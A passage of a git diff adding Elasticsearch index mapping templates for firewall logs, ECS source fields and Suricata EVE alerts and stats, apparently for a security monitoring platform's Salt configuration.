"es_security_analyzer" + } + } + }, + "client_physical_address": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "clients_conn_ssid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "collisions": { + "type": "long" + }, + "con_id": { + "type": "long" + }, + "conn_id": { + "type": "long" + }, + "connectionname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "connectiontype": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "connevent": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "connid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "contenttype": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "context_match": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "context_prefix": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "context_suffix": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cookie": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "date": { + "type": "date" + }, + "destinationip": { + "type": "ip" + }, + "device": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "device_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": 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+ } + } + }, + "download_file_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dst_country_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dst_domainname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dst_ip": { + "type": "ip" + }, + "dst_port": { + "type": "long" + }, + "dstdomain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dstzone": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dstzonetype": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "duration": { + "type": "long" + }, + "email_subject": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ep_uuid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "eventid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "eventtime": { + "type": "date" + }, + "eventtype": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "exceptions": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "execution_path": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "extra": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "file_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "file_path": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "file_size": { + "type": "long" + }, + "filename": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "filepath": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "filesize": { + "type": "long" + }, + "free": { + "type": "long" + }, + "from_email_address": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ftp_direction": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ftp_url": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ftpcommand": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "fw_rule_id": { + "type": "long" + }, + "hb_health": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "host": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "httpresponsecode": { + "type": "long" + }, + "iap": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "icmp_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "icmp_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "idle_cpu": { + "type": "float" + }, + "idp_policy_id": { + "type": "long" + }, + "idp_policy_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "in_interface": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "interface": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ipaddress": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ips_policy_id": { + "type": "long" + }, + "localgateway": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "localnetwork": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "log_component": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "log_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "log_subtype": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "log_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "login_user": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "mailid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "mailsize": { + "type": "long" + }, + "message": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "message_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "newversion": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "oldversion": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "out_interface": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "override_authorizer": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "override_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "override_token": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "platform": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "policy_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "priority": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "protocol": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "quarantine": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "quarantine_reason": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "querystring": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "raw_data": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "reason": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "received_pkts": { + "type": "long" + }, + "receiveddrops": { + "type": "long" + }, + "receivederrors": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "receivedkbits": { + "type": "long" + }, + "recv_bytes": { + "type": "long" + }, + "red_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "referer": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "remote_ip": { + "type": "ip" + }, + "remotenetwork": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "responsetime": { + "type": "long" + }, + "rule_priority": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sent_bytes": { + "type": "long" + }, + "sent_pkts": { + "type": "long" + }, + "server": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sessionid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sha1sum": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "signature_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "signature_msg": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "site_category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "source": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sourceip": { + "type": "ip" + }, + "spamaction": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sqli": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "src_country_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "src_domainname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "src_ip": { + "type": "ip" + }, + "src_mac": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "src_port": { + "type": "long" + }, + "srczone": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "srczonetype": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ssid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "start_time": { + "type": "date" + }, + "starttime": { + "type": "date" + }, + "status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "status_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subject": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "system_cpu": { + "type": "float" + }, + "target": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "threatname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "timestamp": { + "type": "date" + }, + "timezone": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "to_email_address": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "total_memory": { + "type": "long" + }, + "trans_dst_ip": { + "type": "ip" + }, + "trans_dst_port": { + "type": "long" + }, + "trans_src_ip": { + "type": "ip" + }, + "trans_src_port": { + "type": "long" + }, + "transaction_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "transactionid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "transmitteddrops": { + "type": "long" + }, + "transmittederrors": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "transmittedkbits": { + "type": "long" + }, + "unit": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "updatedip": { + "type": "ip" + }, + "upload_file_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "upload_file_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "url": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "used": { + "type": "long" + }, + "user": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "user_cpu": { + "type": "float" + }, + "user_gp": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "user_group": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "user_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "users": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vconn_id": { + "type": "long" + }, + "virus": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "website": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "xss": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/source.json b/salt/elasticsearch/templates/component/ecs/source.json new file mode 100644 index 000000000..e409d4a48 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/source.json @@ -0,0 +1,374 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-source.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "source": { + "properties": { + "address": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "as": { + "properties": { + "number": { + "type": "long" + }, + "organization": { + "properties": { + "name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + } + } + } + } + }, + "bytes": { + "type": "long" + }, + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "geo": { + "properties": { + "city_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "continent_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "continent_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "country_iso_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "country_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "location": { + "type": "geo_point" + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "postal_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "region_iso_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "region_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "timezone": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "ip": { + "type": "ip" + }, + "mac": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "nat": { + "properties": { + "ip": { + "type": "ip" + }, + "port": { + "type": "long" + } + } + }, + "packets": { + "type": "long" + }, + "port": { + "type": "long" + }, + "registered_domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subdomain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "top_level_domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "user": { + "properties": { + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "email": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "full_name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "group": { + "properties": { + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "hash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "roles": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/suricata.json b/salt/elasticsearch/templates/component/ecs/suricata.json new file mode 100644 index 000000000..116dc96dd --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/suricata.json @@ -0,0 +1,1298 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "suricata": { + "properties": { + "eve": { + "properties": { + "alert": { + "properties": { + "affected_product": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "attack_target": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "capec_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "classtype": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "created_at": { + "type": "date" + }, + "cve": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cvss_v2_base": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cvss_v2_temporal": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cvss_v3_base": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cvss_v3_temporal": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cwe_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deployment": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "former_category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "gid": { + "type": "long" + }, + "hostile": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "infected": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "malware": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "metadata": { + "type": "flattened" + }, + "mitre_tool_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "performance_impact": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "priority": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "protocols": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "rev": { + "type": "long" + }, + "rule_source": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sid": { + "ignore_above": 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{ + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + }, + "stats": { + "properties": { + "app_layer": { + "properties": { + "flow": { + "properties": { + "dcerpc_tcp": { + "type": "long" + }, + "dcerpc_udp": { + "type": "long" + }, + "dns_tcp": { + "type": "long" + }, + "dns_udp": { + "type": "long" + }, + "failed_tcp": { + "type": "long" + }, + "failed_udp": { + "type": "long" + }, + "ftp": { + "type": "long" + }, + "http": { + "type": "long" + }, + "imap": { + "type": "long" + }, + "msn": { + "type": "long" + }, + "smb": { + "type": "long" + }, + "smtp": { + "type": "long" + }, + "ssh": { + "type": "long" + }, + "tls": { + "type": "long" + } + } + }, + "tx": { + "properties": { + "dcerpc_tcp": { + "type": "long" + }, + "dcerpc_udp": { + "type": "long" + }, + "dns_tcp": { + "type": "long" + }, + "dns_udp": { + "type": "long" + }, + "ftp": { + "type": "long" + }, + "http": { + "type": "long" + }, + "smb": { + "type": "long" + }, + "smtp": { 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"properties": { + "alert": { + "type": "long" + } + } + }, + "dns": { + "properties": { + "memcap_global": { + "type": "long" + }, + "memcap_state": { + "type": "long" + }, + "memuse": { + "type": "long" + } + } + }, + "file_store": { + "properties": { + "open_files": { + "type": "long" + } + } + }, + "flow": { + "properties": { + "emerg_mode_entered": { + "type": "long" + }, + "emerg_mode_over": { + "type": "long" + }, + "icmpv4": { + "type": "long" + }, + "icmpv6": { + "type": "long" + }, + "memcap": { + "type": "long" + }, + "memuse": { + "type": "long" + }, + "spare": { + "type": "long" + }, + "tcp": { + "type": "long" + }, + "tcp_reuse": { + "type": "long" + }, + "udp": { + "type": "long" + } + } + }, + "flow_mgr": { + "properties": { + "bypassed_pruned": { + "type": "long" + }, + "closed_pruned": { + "type": "long" + }, + "est_pruned": { + "type": "long" + }, + "flows_checked": { + "type": "long" + }, + "flows_notimeout": { + "type": "long" + }, + "flows_removed": { + "type": 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"type": "long" + }, + "rst": { + "type": "long" + }, + "segment_memcap_drop": { + "type": "long" + }, + "sessions": { + "type": "long" + }, + "ssn_memcap_drop": { + "type": "long" + }, + "stream_depth_reached": { + "type": "long" + }, + "syn": { + "type": "long" + }, + "synack": { + "type": "long" + } + } + }, + "uptime": { + "type": "long" + } + } + }, + "tcp": { + "properties": { + "ack": { + "type": "boolean" + }, + "fin": { + "type": "boolean" + }, + "psh": { + "type": "boolean" + }, + "rst": { + "type": "boolean" + }, + "state": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "syn": { + "type": "boolean" + }, + "tcp_flags": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "tcp_flags_tc": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "tcp_flags_ts": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "tls": { + "properties": { + "fingerprint": { + 